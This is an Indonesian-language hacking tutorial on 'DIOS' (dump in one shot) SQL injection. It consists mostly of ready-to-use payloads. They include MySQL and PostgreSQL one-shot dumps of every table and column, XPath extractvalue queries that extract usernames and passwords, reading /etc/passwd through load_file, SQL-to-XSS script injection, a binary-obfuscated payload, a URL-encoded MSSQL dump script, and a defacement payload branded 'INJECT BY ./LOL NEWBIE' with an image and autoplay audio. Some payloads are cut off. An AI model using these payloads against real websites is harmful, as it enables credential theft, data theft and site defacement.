Ddos

 Assalamualaikum Kali ini gw mau ngasih tutor cara buat dios sql Sql to xss Sql to lfi Sql injection (select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=concat+(@x,0x3c62723e,table_name,0x203a3a20,column_name))))x) '<img src="link gambar kamu" height="300px" width="300px">' Buat gambarnya 👆 load_file('/etc/passwd') <script>prompt(" ")</script> Kita ubah dulu ke kode hex Buat pemisah= Buat sql biasa --> <br> Buat xss --> \n Eh maaf garisnya kebalik Nah kalo mau buat xss pemisahnya itu Kita mulai aja Hasil jadi dios sql biasa= concat(0x494e4a454354494f4e204259204c4f4c204e4557424945,0x3c62723e,'<img src="https://i.top4top.io/p_1888is2ri0.jpg" height="300px" width="300px">',0x3c62723e,database(),0x3c62723e,version(),0x3c62723e,user(),0x3c62723e,(select(@x)from(select(@x:=0x00),(select(0)from(i...

 Dios xpath= +and extractvalue(0x0a,concat('./LOL NEWBIE-->',(select version()))) => Get Version  +and extractvalue(0x0a,concat('./LOL NEWBIE-->',(select database()))) => Database  +and extractvalue(0x0a,concat('./LOL NEWBIE-->',(select table_name from information_schema.tables where table_schema=database() limit 0,1))) => Get Table  +and extractvalue(0x0a,concat('./LOL NEWBIE-->',(select column_name from information_schema.columns where table_schema=database() and table_name=0x75736572 limit 0,1))) => Get Columns   +and extractvalue(rand(),concat('./LOL NEWBIE~~>',(select concat(username,'-->',password) from user limit 0,1))) => get user and pass

 CoNcAt/**x**/(0b0011110001100010011100100011111000111100011100110111010001111001011011000110010100111110011101000111001000111010011011100111010001101000001011010110001101101000011010010110110001100100001010000110010101110110011001010110111000101001001000000111101100100000011000100110000101100011011010110110011101110010011011110111010101101110011001000010110101100011011011110110110001101111011100100011101000100000001000110110011000110010011001100011001001100110001100100011101101111101011101000110000101100010011011000110010101111011011101110110100101100100011101000110100000111010001101010011000001110000011110000011101101101111011101100110010101110010011001100110110001101111011101110011101001100001011101010111010001101111001110110111110100111100001011110111001101110100011110010110110001100101001111100011110001110100011000010110001001101100011001010011111000111100011000100011111001001001011011100110101001100101011000110111010001100101011001000010000001000010011110010010000000101110001...

 ;BEGIN%20DECLARE%20@data%20VARCHAR%288000%29,%20@counter%20int,%20@tblName%20VARCHAR%2850%29,%20@colNames%20VARCHAR%28100%29%20DECLARE%20@tmpTbl%20TABLE%20%28name%20VARCHAR%288000%29%20NOT%20NULL%29%20SET%20@counter%20=%201%20SET%20@data=%27a%27%2bchar%2810%29%2b%27Injected%20by%20./LOL NEWBIE%20::%20%27%2b%27char%2810%29%27%2b@@version%2b%27Database%20::%20%27%2bdb_name%28%29%2bchar%2810%29%2bchar%2810%29%20SET%20@tblName%20=%20%27%27%20SET%20@colNames%20=%20%27%27%20WHILE%20@counter%3C=%28SELECT%20COUNT%28table_name%29%20FROM%20INFORMATION_SCHEMA.TABLES%29%20BEGIN%20SET%20@colNames%20=%20%27%27%20SELECT%20@tblName%20=%20table_name%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20TABLE_NAME%20NOT%20IN%20%28select%20name%20from%20@tmpTbl%29%20SELECT%20@colNames%20=%20@colNames%20%2b%27%20:%20%27%2bcolumn_name%20%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20TABLE_NAME%20=%20@tblName%20INSERT%20@tmpTbl%20VALUES%28@tblName%29%20SET%20@data=@data%2b%27Table%20:%20%27%2b@tblName%2bchar%28...

 '<center> <img src=%22https://i.top4top.io/p_1888is2ri0.jpg%22 height=%22300px%22 width=%22300px%22>'|| '<br>' ||'<font color=%22red%22><h1>INJECT BY ./LOL NEWBIE</h1></font>'|| '<br>' || '<center><audio autoplay=%22autoplay%22 controls=%22controls%22src=%22https://f.top4top.io/m_1754nl4y40.mp3%22></audio></a></center>' || '<br>' ||version()|| '<br>' ||current_database()|| '<br>' || now() || '<br>' ||current_user || '<br>' ||(SELECT+ARRAY_TO_STRING(ARRAY_AGG(concat(table_name,'::',column_name)::TEXT),$$<li>$$)FROM+information_schema.columns+WHERE+table_schema+NOT+in($$informatio%E2%80%8Bn_schema$$,$$pg_catalog$$))